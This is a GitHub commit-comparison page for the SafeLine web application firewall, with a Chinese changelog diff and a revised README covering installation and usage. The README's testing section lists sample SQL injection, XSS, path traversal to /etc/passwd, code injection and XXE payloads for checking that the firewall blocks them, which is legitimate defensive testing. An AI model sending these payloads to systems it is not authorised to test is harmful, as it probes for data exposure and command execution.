Compare commits

...

138 Commits

Author SHA1 Message Date
xiaobing.wang
2283c1ab5a feat: 6.2.0 2024-06-27 16:14:52 +08:00
xiaobing.wang
bca9cba2eb feat: 去掉 collie 限制 2024-06-24 14:51:58 +08:00
xiaobing.wang
97dbf6b85c feat: 6.1.3 2024-06-21 19:53:16 +08:00
xiaobing.wang
16cf7385e1 feat: 6.1.2 2024-06-20 18:10:32 +08:00
xiaobing.wang
5fb5277205 fix: change log 2024-06-19 17:39:29 +08:00
xiaobing.wang
97e71288ce fix: show log 2024-06-19 15:35:16 +08:00
xbingW
585b5e441c Merge pull request #942 from awesomeYG/main
fix: discount_end_tip
2024-06-19 10:42:47 +08:00
bens.CN
6561a780ab fix: discount_end_tip 2024-06-18 20:17:37 +08:00
xiaobing.wang
bf9245ec27 fix: docker image 2024-06-18 19:08:02 +08:00
xiaobing.wang
992488972a fix: docker image 2024-06-18 19:06:24 +08:00
xiaobing.wang
6e109d7187 fix: start docker 2024-06-18 18:09:42 +08:00
xiaobing.wang
8d62dedcc1 feat: not -qq 2024-06-18 17:54:38 +08:00
xiaobing.wang
593359fa6f feat: not -q 2024-06-18 17:51:20 +08:00
xiaobing.wang
e85277811e fix: rm azure 2024-06-18 17:44:59 +08:00
xiaobing.wang
51294b5016 fix: docker install 2024-06-17 16:34:31 +08:00
xiaobing.wang
72334ede65 fix upgrade 2024-06-14 20:44:54 +08:00
xiaobing.wang
22e8b6f475 feat: 6.1。1 2024-06-14 20:16:31 +08:00
xiaobing.wang
3f186c046c feat: add Tencent 2024-06-14 19:20:43 +08:00
xiaobing.wang
ec218b269e feat: add Tencent 2024-06-14 19:19:27 +08:00
xiaobing.wang
f92f87be15 feat: rm Tencent 2024-06-14 19:17:46 +08:00
xiaobing.wang
624cddcf7b feat: code style 2024-06-14 19:14:42 +08:00
xiaobing.wang
6d56781e6d feat: code style 2024-06-14 19:14:20 +08:00
xiaobing.wang
86b6bb3441 feat: 6.1.0 2024-06-14 17:50:36 +08:00
xiaobing.wang
fac90ae03d feat: 自动检测国家 2024-06-14 11:30:56 +08:00
xiaobing.wang
3cd6cc6d3b feat: add docker mirror 2024-06-14 11:19:44 +08:00
xiaobing.wang
08945b90d0 feat: add docker install 2024-06-14 10:25:42 +08:00
xbingW
771676b544 Merge pull request #921 from okxlin/main
feat:优化docker安装
2024-06-13 18:32:57 +08:00
safe1ine
150e7778f5 Update README.md 2024-06-12 22:02:51 +08:00
safe1ine
1ee3a2f161 Update README.md 2024-06-12 17:24:53 +08:00
safe1ine
74b5324d2b Update README.md 2024-06-12 16:52:28 +08:00
xbingW
89ec86a4fe Merge pull request #924 from awesomeYG/main
feat: docs link
2024-06-12 16:35:24 +08:00
bens.CN
c8df3d0244 fix: icon 2024-06-12 16:09:54 +08:00
xbingW
edfa792613 Merge pull request #920 from dhsifss/main
feat: mgt mount nginx log
2024-06-12 15:42:38 +08:00
bens.CN
cc591c1a6c feat: docs link 2024-06-12 14:54:22 +08:00
okxlin
c6173276db feat:优化docker安装 2024-06-11 21:35:39 +08:00
姚凯
23a75fd21d feat: mgt mount nginx log 2024-06-11 16:28:15 +08:00
xiaobing.wang
65a940d3ef fix: website 2024-06-06 17:26:16 +08:00
xbingW
1116a9ae22 Merge pull request #912 from ct-jaryn/main
删除助手安装,以后不再专门做支持
2024-06-06 16:44:45 +08:00
xbingW
6235b4d976 Merge pull request #913 from chaitin/release-6.0.3
feat: 6.0.3
2024-06-06 16:44:09 +08:00
xiaobing.wang
def3645c9a feat: 6.0.3 2024-06-06 16:42:06 +08:00
safe1ine
7b292c600c Update README.md 2024-06-06 16:27:01 +08:00
张华杰
d8fcc611c9 删除助手安装,以后不再专门做支持 2024-06-06 15:55:39 +08:00
safe1ine
24f7bb674e Add files via upload 2024-06-05 23:48:39 +08:00
safe1ine
8a8b1e0608 Update README.md 2024-06-05 23:47:40 +08:00
safe1ine
206769369a Update README.md 2024-06-05 17:01:37 +08:00
safe1ine
034ee1c5f1 Merge pull request #907 from awesomeYG/main
feat: add lang select btn
2024-06-05 14:42:29 +08:00
bens.CN
f450c38625 feat: add lang select btn 2024-06-05 14:36:38 +08:00
safe1ine
e1c4b67b96 Update README.md 2024-06-04 22:51:00 +08:00
safe1ine
787a4e104d Update README.md 2024-06-04 22:45:43 +08:00
safe1ine
65356be165 Update README.md 2024-06-04 22:43:08 +08:00
safe1ine
8600dc7b22 Add files via upload 2024-06-04 22:41:25 +08:00
safe1ine
c9cac7d161 Update README.md 2024-06-04 22:40:17 +08:00
safe1ine
b207aace79 Update README_CN.md 2024-06-03 15:05:06 +08:00
safe1ine
bb2dab1694 Update README.md 2024-06-03 15:04:23 +08:00
safe1ine
83760a1c26 Merge pull request #902 from chaitin/website-en
Website en
2024-06-03 14:31:06 +08:00
safe1ine
b79c01e695 Merge pull request #901 from awesomeYG/main
feat: add en website
2024-06-03 14:30:21 +08:00
bens.CN
1110eedad8 feat: add en website 2024-06-03 14:24:55 +08:00
xiaobing.wang
71153d0d1b feat: 6.0.2 2024-06-03 12:04:41 +08:00
safe1ine
535ed97363 Update README.md 2024-06-03 11:47:13 +08:00
safe1ine
d50879cd31 Update and rename README_EN.md to README_CN.md 2024-06-03 11:43:47 +08:00
xiaobing.wang
dc726f35fc feat: 6.0.1 2024-05-31 18:16:57 +08:00
xiaobing.wang
9177ba2cd3 feat: 6.0.0 2024-05-31 16:04:52 +08:00
bens.CN
91252b39c3 fix: add discord url 2024-05-31 15:56:36 +08:00
xiaobing.wang
6ff20821a6 feat: 添加群二维码 2024-05-30 18:45:54 +08:00
xiaobing.wang
2a452e7e00 feat: 优化安装脚本 2024-05-30 15:10:39 +08:00
xiaobing.wang
6e000a1163 feat: 添加 ingress 文档 2024-05-30 15:10:27 +08:00
xiaobing.wang
8fe49e356b feat: use 172 first 2024-05-28 12:59:42 +08:00
xbingW
c93bba9cab Merge pull request #889 from chaitin/select_subnet
fix setup script to auto select subnet
2024-05-24 22:53:05 +08:00
naocanmonster
82a7a4d224 fix setup script to auto select subnet 2024-05-24 21:33:27 +08:00
safe1ine
60dc4dd14d Update README.md 2024-05-23 17:58:41 +08:00
safe1ine
16f8852d05 Update README_EN.md 2024-05-23 17:56:39 +08:00
safe1ine
7028592b4c Update README_EN.md 2024-05-23 17:55:47 +08:00
xiaobing.wang
a3bf0edab3 feat: 5.6.2 2024-05-23 17:16:25 +08:00
xbingW
50f75d8c77 Merge pull request #887 from ct-jaryn/main
更新文档
2024-05-23 16:41:39 +08:00
张华杰
f58855d385 优化文档 2024-05-23 16:34:54 +08:00
张华杰
c69293f787 优化 2024-05-23 16:29:22 +08:00
张华杰
054b6e1fa2 更换图片 2024-05-23 16:09:14 +08:00
safe1ine
c0d563855a Update README_EN.md 2024-05-23 15:55:04 +08:00
张华杰
c229d86ef9 调整文档 2024-05-23 15:54:50 +08:00
safe1ine
5ff3b69fe4 Update README_EN.md 2024-05-23 15:44:54 +08:00
safe1ine
58a9552d04 Update README.md 2024-05-23 15:13:53 +08:00
safe1ine
afbe426448 Add files via upload 2024-05-23 14:51:37 +08:00
safe1ine
cbdd538ecb Update README.md 2024-05-23 14:49:38 +08:00
safe1ine
e82d692665 Add files via upload 2024-05-23 14:46:38 +08:00
safe1ine
bb4e9eca9f Create image dir 2024-05-23 14:45:20 +08:00
xbingW
b74cc5600a Merge pull request #883 from dhsifss/main
feat: reset tengine add auto generate config
2024-05-22 10:55:31 +08:00
姚凯
43e5fd4c43 feat: reset tengine add auto generate config 2024-05-22 10:54:11 +08:00
xbingW
2666952087 Merge pull request #882 from awesomeYG/main
text: 负载均衡
2024-05-21 17:42:30 +08:00
xbingW
9963e9c4c8 Merge pull request #885 from ct-jaryn/main
增加推荐的配置
2024-05-21 17:42:12 +08:00
xiaobing.wang
5ed5677e83 feat: 5.6.1 2024-05-17 12:42:25 +08:00
xiaobing.wang
abbcc93fdc feat: 5.6.1 2024-05-17 12:19:16 +08:00
张华杰
6abab2eac9 Merge branch 'main' of https://github.com/ct-jaryn/SafeLine 2024-05-17 12:00:57 +08:00
张华杰
22cc37a1ee 优化文档 2024-05-17 12:00:31 +08:00
bens.CN
cbb2b2e275 text: 负载均衡 2024-05-17 11:44:50 +08:00
xiaobing.wang
822995e0d3 feat: 5.6.0 2024-05-16 16:23:56 +08:00
xiaobing.wang
5dd94ca743 feat: 5.6.0 2024-05-16 15:24:20 +08:00
xbingW
a6aec88455 Merge pull request #879 from awesomeYG/main
fix(docs): collapsed icon
2024-05-15 20:22:13 +08:00
bens.CN
671654206e fix(docs): collapsed icon 2024-05-15 20:12:43 +08:00
xbingW
faba892880 Merge pull request #877 from ct-jaryn/main
新增投稿
2024-05-15 20:10:20 +08:00
xiaobing.wang
6abd504909 feat: 更新嵌入式部署文档 2024-05-15 14:48:21 +08:00
xiaobing.wang
ec1ef66fb4 feat: 更新嵌入式部署文档 2024-05-15 14:45:31 +08:00
xiaobing.wang
0dafcac061 feat: 更新嵌入式部署文档 2024-05-15 12:27:31 +08:00
张华杰
f900dba08b 新增投稿 2024-05-14 15:55:47 +08:00
xbingW
ad4bf766cf Merge pull request #876 from dhsifss/main
feat: add tengine reset script
2024-05-14 15:45:03 +08:00
姚凯
aa695d5e59 feat: add tengine reset script 2024-05-13 17:03:28 +08:00
xiaobing.wang
ca0c55c035 feat: release 5.5.2 2024-05-10 18:06:55 +08:00
xiaobing.wang
a45a7f5593 feat: release 5.5.1 2024-05-10 16:06:10 +08:00
xiaobing.wang
a8df77d297 feat: release 5.5.1 2024-05-10 15:13:35 +08:00
xiaobing.wang
9c30d44d51 feat: release 5.5.1 2024-05-10 14:59:27 +08:00
xiaobing.wang
aab1852737 feat: release 5.5.0 2024-05-09 19:34:39 +08:00
xiaobing.wang
af908bc7ef feat: release 5.5.0 2024-05-09 17:17:21 +08:00
ct-jaryn
905b19dce7 调整内容 (#869) 2024-05-09 15:39:32 +08:00
bens.CN
16f5205693 style: fontweigth (#859) 2024-04-29 17:18:58 +08:00
bens.CN
aec9095d7e feat: change version describe (#858) 2024-04-29 14:22:43 +08:00
ct-jaryn
8232677658 更新投稿文章 (#857) 2024-04-29 11:23:59 +08:00
ct-jaryn
94b6fabc5f 更新投稿文章 (#853) 2024-04-26 15:56:50 +08:00
xiaobing.wang
d65f689b26 feat: release 5.4.0 2024-04-25 19:02:47 +08:00
ct-jaryn
9da2f189b4 修改文件名 (#847) 2024-04-25 17:22:34 +08:00
ct-jaryn
d1e007cdc0 增加社区投稿 (#846) 2024-04-25 17:10:02 +08:00
xiaobing.wang
1cff17ea6d feat: release 5.4.0 2024-04-25 17:02:08 +08:00
xiaobing.wang
4c3b955b92 feat: release 5.4.0 2024-04-25 15:16:08 +08:00
dhsifss
6e04f0b10f fix: add behavior source (#843) 2024-04-24 18:31:52 +08:00
bens.CN
4a7ad7527e fix: post api (#842) 2024-04-24 17:05:07 +08:00
bens.CN
dd66ebc5c1 insert point method (#841)
* fix: img typo

---------

Co-authored-by: 杨纲 <gang.yang@chaitin.com>
2024-04-24 16:32:53 +08:00
dhsifss
93698a7fe9 feat: record behavior (#839) 2024-04-24 15:06:02 +08:00
bens.CN
50a250c2a6 detector point (#840)
* feat(fe): detector point

---------

Co-authored-by: 杨纲 <gang.yang@chaitin.com>
2024-04-24 15:05:32 +08:00
bens.CN
a469450be1 fix: 专业版高级报告功能说明 (#820)
* fix: img typo

* fix: revert 10000 rmb set

* fix: major feature tag

---------

Co-authored-by: 杨纲 <gang.yang@chaitin.com>
2024-04-18 16:26:57 +08:00
xiaobing.wang
f3475a362f feat: release 5.3.3 2024-04-18 15:35:37 +08:00
bens.CN
e10ccaf440 fix: remove min price set (#816)
* fix: img typo

* fix: revert 10000 rmb set

---------

Co-authored-by: 杨纲 <gang.yang@chaitin.com>
2024-04-15 11:50:24 +08:00
xiaobing.wang
9748d8587f feat: add log limit 2024-04-15 11:21:13 +08:00
xbingW
a66b82d878 feat: release 5.3.2 (#812) 2024-04-12 16:44:47 +08:00
xiaobing.wang
d081ae11ea feat: release 5.3.1 2024-04-12 10:15:14 +08:00
xiaobing.wang
37960b6c70 feat: release 5.3.1 2024-04-12 09:45:49 +08:00
xbingW
f92b914551 feat: release 5.3.1 (#810) 2024-04-11 20:07:03 +08:00
ct-jaryn
e5ede1c94f 增加syslog详情 (#809) 2024-04-11 17:27:29 +08:00
ct-jaryn
75c9510aa5 更新文档 (#807) 2024-04-11 10:46:29 +08:00
yrluke
3593b12c67 Merge pull request #798 from Lvshujun0918/patch-1
改正06-other.md中一处错误的加粗,没加空格而没生效
2024-04-09 11:46:02 +08:00
吕舒君
80e2616c19 改正06-other.md中一处错误的加粗,没加空格而没生效 2024-04-03 12:59:32 +08:00
301 changed files with 19511 additions and 3591 deletions

View File

@@ -1,5 +1,191 @@
# SAFELINE-CE CHANGELOG
## [6.2.0] - 2024-06-27
### 新增
* 动态防护测试进展良好取消防护数量限制。HTML 支持全局动态加密专业版支持快速加解密。JS 支持防护任意数量资源,但性能消耗较大,请充分测试后再上线
### 优化
* 补充规则支持筛选规则 ID、规则名称
* 雷池检查上游服务器状态时UA 内会增加 “SafeLine-CE/版本号”,方便上游区分
* 专业版 访问日志/错误日志 中,若配置过 “源 IP 获取方式”,则增加显示对应的请求头内容
* 检查上游服务器状态时,由于 404 一般只是根路径不存在,网站仍然正常,本版本起 404 不再判断为异常了
* 修复自定义规则名称保存后有时显示不正确的问题
## [6.1.3] - 2024-06-21
### 修复
* 修复部分站点详情部分数据空白的问题
* 修复部分网页是要动态防护功能时样式错误的问题
* 修复 tengine 偶尔出现 exchange secret error 的问题
## [6.1.2] - 2024-06-20
### 优化
* 动态防护社区版支持 5 个,专业版支持 50 个
* 简化动态防护配置,移除 启用/禁用 操作,现在直接选防护资源即可。
* 注意:历史版本禁用了动态防护,但同时选了若干资源的,升级后会移除这些资源的选择
* 优化站点详情 UI 交互,现在可以在详情页编辑站点配置、一键防护配置了
* 修复站点处于观察模式时,有时补充规则仍会被拦截的问题
* 优化后台服务在重启的过程中,控制台的报错提示
* 修复升级有可能出现 tengine 无法启动,以及安装完也可能无法保存站点,提示 “ca md too weak” 的问题
* 优化其他 UI 交互细节,修复其他一些已知问题
## [6.1.1] - 2024-06-14
* 修复实时日志显示问题
## [6.1.0] - 2024-06-14
### 新增
* 专业版站点详情新增访问日志、错误日志。且支持设置日志大小上限,达到上限后自动清理旧文件
* 动态防护单站点允许防护的资源数增加到 2 个,专业版增加到 20 个
### 优化
* 人机验证通过后,若访问/攻击频率过高(达到 3 倍的 “限频后人机验证” 阈值),则要求重新进行人机验证
* 修复导出日志 csv 中的 “动作” 和控制台页面不一致的问题
* 修复动态防护有时仍额外返回源内容的问题
* 修复部分补充规则配置了防护后也会被放行的问题
* 修复编辑证书后,会自动新建证书而不是更新证书的问题
* 修复上游服务器健康检查时,对正常的上游可能返回异常结果 tls internal error 的问题
* 优化一些 UI 交互细节
## [6.0.3] - 2024-06-06
### 优化
* 修复动态防护在观察模式下仍然生效的问题
* 修复响应码不为 200 的请求,也会采集进资源的问题
* 修复自定义规则中,路径匹配条件未包括参数的问题
* 修复使用动态防护时 23333 端口被占用的问题
* 修复动态防护选择防护资源时的一些交互细节问题
* 优化其他一些 UI 交互细节
## [6.0.2] - 2024-06-03
### 优化
* 修复部分情况下 mgt 启动异常的问题
* 修复站点身份认证功能编辑用户名密码不生效的问题
* 修复站点资源只显示 250 条的问题(实际最多支持 500 条)
* 优化站点列表加载速度
## [6.0.1] - 2024-05-31
### 修复
* 修复流式版本 tengine 启动异常的问题
* 修复历史攻击事件无法查询明细日志的问题
## [6.0.0] - 2024-05-31
### 新增
* 站点高级防护新增动态防护BETA能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
* 新增上游服务器健康检查,方便配置与管理
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
### 优化
* 攻击事件支持按域名、端口筛选
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine)
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
* 修复黑白名单没有记录触发次数的问题
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
* 优化一些 UI 交互细节
## [5.6.2] - 2024-05-23
### 优化
* 身份认证、控制台登录设置可以一键随机一个密码
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)
* 修复站点为观察模式时,也会拦截一些补充规则的问题
* 修复某些情况下免费证书无法续期的问题
* 优化一些 UI 交互细节
## [5.6.1] - 2024-05-17
### 修复
* 修复无法申请 acme 证书的问题
## [5.6.0] - 2024-05-16
### 新增
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
### 优化
* 502、504 异常页面适配手机端
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size避免这两种配置不足报错
* 修复有时无法采集到站点资源的问题
* 优化一些界面交互细节
## [5.5.2] - 2024-05-10
### 修复
* 修复 IP 组详情某些情况下与老版本不兼容的问题
## [5.5.1] - 2024-05-10
### 修复
* 修复自定义规则选择 IP 组时规则不生效的问题
## [5.5.0] - 2024-05-09
### 新增
* 站点列表支持一键配置高级防护规则
### 优化
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
* 站点资源统计逻辑优化
* 修复有时候免费证书临期不会自动续期的问题
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830)
* 优化一些 UI 交互细节
## [5.4.0] - 2024-04-25
### 新增
* 源 IP 获取方式增加 XFF
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
### 优化
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
* 修复少数情况下,限频没有正常封禁 IP 的问题
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
* 优化一些 UI 交互细节
## [5.3.3] - 2024-04-18
### 优化
* 日志列表不返回 IP 组全部内容,降低访问耗时
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821)
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789)
* 修复其他一些已知问题
## [5.3.2] - 2024-04-12
### 修复
* 修复了地理位置库识别错误的问题
### 优化
* 优化了一些 UI 交互细节
## [5.3.1] - 2024-04-11
### 新增
* 专业版支持*钉钉告警*
* 专业版新增高级数据统计
### 优化
* 上线新版智能 AI 攻击分析,分析结果由长亭问津安全大模型提供,大幅度提升安全分析效果
* 支持全种类的攻击分析,包含 注入、CSRF、SSRF、后门等
* 标准化输出内容,例如 攻击影响、意图分析、防护建议等
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792) 中涉及问题)
* 修复了其他一些已知问题
* 优化了一些 UI 交互细节
## [5.2.0] - 2024-03-28
### 新增

View File

@@ -93,7 +93,7 @@ directory = /srv/documents \n\
\n\
[program:front] \n\
command = npm start \n\
directory = /srv/website \n\
directory = /srv/website/cn \n\
\n\
[program:server] \n\
command = /srv/server \n\
@@ -108,7 +108,7 @@ RUN npm ci; npm run build
ENV TARGET=http://localhost:8080
COPY website /srv/website
WORKDIR /srv/website
WORKDIR /srv/website/cn
RUN npm ci; npm run build
# npm start

186
README.md
View File

@@ -1,123 +1,143 @@
<p align="center">
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
</p>
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
<br>
<p align="center">
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
<img src="https://img.shields.io/github/release-date/chaitin/safeline.svg?color=blue&label=update" />
<img src="https://img.shields.io/docker/v/chaitin/safeline-mgt-api?color=blue">
<img src="https://img.shields.io/github/stars/chaitin/safeline?style=social">
# SafeLine, the best free WAF for webmaster
<img src="/documents/static/images/403.svg" align="right" width="200" />
SafeLine is a web security gateway to protect your websites from attacks and exploits.
It defenses for all of web attacks, such as sql injection, code injection, os command injection, CRLF injection, ldap injection, xpath injection, rce, xss, xxe, ssrf, path traversal, backdoor, bruteforce, http-flood, bot abused and so on.
<p align="left">
<a target="_blank" href="https://waf.chaitin.com/">🏠Home</a> &nbsp; | &nbsp;
<a target="_blank" href="https://docs.waf.chaitin.com/">📖Documentation</a> &nbsp; | &nbsp;
<a target="_blank" href="https://demo.waf.chaitin.com:9443/dashboard">🔍Live Demo</a> &nbsp; | &nbsp;
<a target="_blank" href="https://waf-ce.chaitin.cn/">中文版</a>
</p>
<p align="center">
<a href="https://waf-ce.chaitin.cn/">官方网站</a> |
<a href="https://demo.waf-ce.chaitin.cn:9443/dashboard">在线 Demo</a> |
<a href="https://waf-ce.chaitin.cn/posts/guide_introduction">技术文档</a> |
<a href="README_EN.md">For English</a>
<p align="left">
<a target="_blank" href="https://discord.gg/wyshSVuvxC"><img src="https://img.shields.io/badge/Discord-5865F2?style=flat&logo=discord&logoColor=white"></a> &nbsp;
<a target="_blank" href="https://x.com/safeline_waf"><img src="https://img.shields.io/badge/X-000000?style=flat&logo=x&logoColor=white"></a> &nbsp;
<a target="_blank" href="https://t.me/safeline_waf"><img src="https://img.shields.io/badge/Telegram-2CA5E0?style=flat&logo=telegram&logoColor=white"></a> &nbsp;
<a target="_blank" href="/documents/static/images/wechat-230825.png"><img src="https://img.shields.io/badge/WeChat-07C160?style=flat&logo=wechat&logoColor=white"></a>
</p>
一款足够简单、足够好用、足够强的免费 WAF。基于业界领先的语义引擎检测技术作为反向代理接入保护你的网站不受黑客攻击。
# Screenshots
- **累计安装**超过 60000
- **保护网站**超过 500,000 个
- 每天**处理 HTTP 请求**超过 20,000,000,000 次
- 每天**拦截攻击**超过 10,000,000 次
<img src="./images/safeline_en.png" width=600 />
核心检测能力由智能语义分析算法驱动,专为社区而生,不让黑客越雷池半步。
# How It Works
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/album/0.png" />
<img src="/images/safeline-as-proxy.png" align="right" width=400 />
<h4 align="center">相关源码仓库</h4>
<p align="center">
<a href="https://github.com/chaitin/yanshi">语义分析自动机引擎</a> |
<a href="https://github.com/chaitin/safeline-open-platform">流量分析插件</a> |
<a href="https://github.com/chaitin/lua-resty-t1k">T1K 协议</a> |
<a href="https://github.com/chaitin/blazehttp">测试工具</a>
</p>
SafeLine is developed based on nginx, it serves as a reverse proxy middleware to detect and cleans web attacks, its core capabilities include:
## 相关特性
- Defenses for web attacks
- Proactive bot abused defense
- HTML & JS code encryption
- IP-based rate limiting
- Web Access Control List
#### 便捷性
# Installation
采用容器化部署一条命令即可完成安装0 成本上手。安全配置开箱即用,无需人工维护,可实现安全躺平式管理。
**中国大陆用户安装国际版可能会导致无法连接云服务,请查看** [中文版安装文档](https://docs.waf-ce.chaitin.cn/zh/%E4%B8%8A%E6%89%8B%E6%8C%87%E5%8D%97/%E5%AE%89%E8%A3%85%E9%9B%B7%E6%B1%A0)
#### 安全性
## Automatic Deploy
首创业内领先的智能语义分析算法,精准检测、低误报、难绕过。语义分析算法无规则,面对未知特征的 0day 攻击不再手足无措。
> 👍Recommended
#### 高性能
Use the following command to start the automated installation of SafeLine. (This process requires root privileges)
无规则引擎,线性安全检测算法,平均请求检测延迟在 1 毫秒级别。并发能力强,单核轻松检测 2000+ TPS只要硬件足够强可支撑的流量规模无上限。
#### 高可用
流量处理引擎基于 Nginx 开发,性能与稳定性均可得到保障。内置完善的健康检查机制,服务可用性高达 99.99%。
## 🚀 安装
### 配置需求
- 操作系统Linux
- 指令架构x86_64
- 软件依赖Docker 20.10.6 版本以上
- 软件依赖Docker Compose 2.0.0 版本以上
- 最小化环境1 核 CPU / 1 GB 内存 / 10 GB 磁盘
### 一键安装
```
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
```bash
bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/setup.sh)"
```
> 更多安装方式请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_install">安装雷池</a>
After the command is executed, it means the installation is successfully. Please go to "Use Web UI" directly.
## 🕹️ 快速使用
### 登录
## Mannually Deploy
浏览器打开后台管理页面 `https://<waf-ip>:9443`。根据界面提示,使用 **支持 TOTP 的认证软件** 扫描二维码,然后输入动态口令登录:
to see [Documentation](https://docs.waf.chaitin.com/en/tutorials/install)
![login.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/login.gif)
# Usage
### 配置防护站点
## Login
雷池以反向代理方式接入,优先于网站服务器接收流量,对流量中的攻击行为进行检测和清洗,将清洗过后的流量转发给网站服务器。
Open the web console page `https://<safeline-ip>:9443/` in the browser, then you will see below.
![config.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/config_site.gif)
<img width="400" src="/images/login.png">
<font color=grey>💡 TIPS: 添加后,执行 `curl -H "Host: <域名>" http://<WAF IP>:<端口>` 应能获取到业务网站的响应。</font>
Execute the following command to get administrator account
### 测试效果
```bash
docker exec safeline-mgt /app/mgt-cli reset-admin --once
```
使用以下方式尝试模拟黑客攻击,看看雷池的防护效果如何
After the command is successfully executed, you will see the following content
- 浏览器访问 `http://<IP或域名>:<端口>/?id=1%20AND%201=1`
- 浏览器访问 `http://<IP或域名>:<端口>/?a=<script>alert(1)</script>`
> Please must remember this content
![log.gif](https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/gif/detect_log.gif)
```text
[SafeLine] Initial usernameadmin
[SafeLine] Initial password**********
[SafeLine] Done
```
> 如果你需要进行深度测试,请参考 <a href="https://waf-ce.chaitin.cn/posts/guide_test">测试防护效果</a>
Enter the password in the previous step and you will successfully logged into SafeLine.
### FAQ
## Protecting a website
- [安装问题](https://waf-ce.chaitin.cn/posts/faq_install)
- [登录问题](https://waf-ce.chaitin.cn/posts/faq_login)
- [网站无法访问](https://waf-ce.chaitin.cn/posts/faq_access)
- [配置问题](https://waf-ce.chaitin.cn/posts/faq_config)
- [其他问题](https://waf-ce.chaitin.cn/posts/faq_other)
Log into the SafeLine Web Admin Console, go to the "Site" -> "Website" page and click the "Add Site" button in the upper right corner.
## 🏘️ 联系我们
<img src="/images/add-site-1.png" width=800>
1. 可以通过 GitHub Issue 直接进行 Bug 反馈和功能建议
2. 可以扫描下方二维码加入雷池社区版用户讨论群
In the next dialog box, enter the information to the original website.
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/wechat-230825.png" width="30%" />
- **Domain**: domain name of your original website, or hostname, or ip address, for example: `www.chaitin.com`
- **Port**: port that SafeLine will listen, such as 80 or 443. (for `https` websites, please check the `SSL` option)
- **Upstream**: real address of your original website, through which SafeLine will forward traffic to it
## Star History <a name="star-history"></a>
After completing the above settings, please resolve the domain name you just entered to the IP address of the server where SafeLine is located.
<img src="/images/add-site-2.png" width=400>
Then you can access the website protected by the SafeLine through the domain name like this.
<img src="/images/safeline-as-proxy-2.png" width=400>
## Try to attack your website
Now, your website is protected by SafeLine, lets try tp attack it and see what happens.
If https://chaitin.com is a website protected by SafeLine, here are some test cases for common attacks:
- SQL Injection: `https://chaitin.com/?id=1+and+1=2+union+select+1`
- XSS: `https://chaitin.com/?id=<img+src=x+onerror=alert()>`
- Path Traversal: `https://chaitin.com/?id=../../../../etc/passwd`
- Code Injection: `https://chaitin.com/?id=phpinfo();system('id')`
- XXE: `https://chaitin.com/?id=<?xml+version="1.0"?><!DOCTYPE+foo+SYSTEM+"">`
Replace `chaitin.com` in the above cases with your website domain name and try to access it.
<img src="/images/blocked.png" width=400>
Check the web console of SafeLine to see the attack list
<img src="/images/log-list.png" width=800>
To view the specific details of the attack, click "detail"
<img src="/images/log-detail.png" width=600>
## Star History
<a href="https://github.com/chaitin/safeline/stargazers">
<img width="500" alt="Star History Chart" src="https://api.star-history.com/svg?repos=chaitin/safeline&type=Date">
</a>
## Related Repo
<p >
<a href="https://github.com/chaitin/yanshi">Automaton Generator</a> |
<a href="https://github.com/chaitin/safeline-open-platform">Lua Plugin</a> |
<a href="https://github.com/chaitin/lua-resty-t1k">T1K Protocol</a> |
<a href="https://github.com/chaitin/blazehttp">WAF Test Tool</a>
</p>

127
README_CN.md Normal file
View File

@@ -0,0 +1,127 @@
<p align="center">
<a href="./README_CN.md">中文</a> |
<a href="./README.md">English</a>
</p>
<h1 align="center">雷池 - 广受好评的社区 WAF</h1>
<p align="center">
<img src="https://raw.githubusercontent.com/chaitin/SafeLine/main/documents/static/images/403.svg" width="120">
</p>
<br>
<p align="center">
<img src="https://img.shields.io/badge/SafeLine-BEST_WAF-blue">
<img src="https://img.shields.io/github/release/chaitin/safeline.svg?color=blue" />
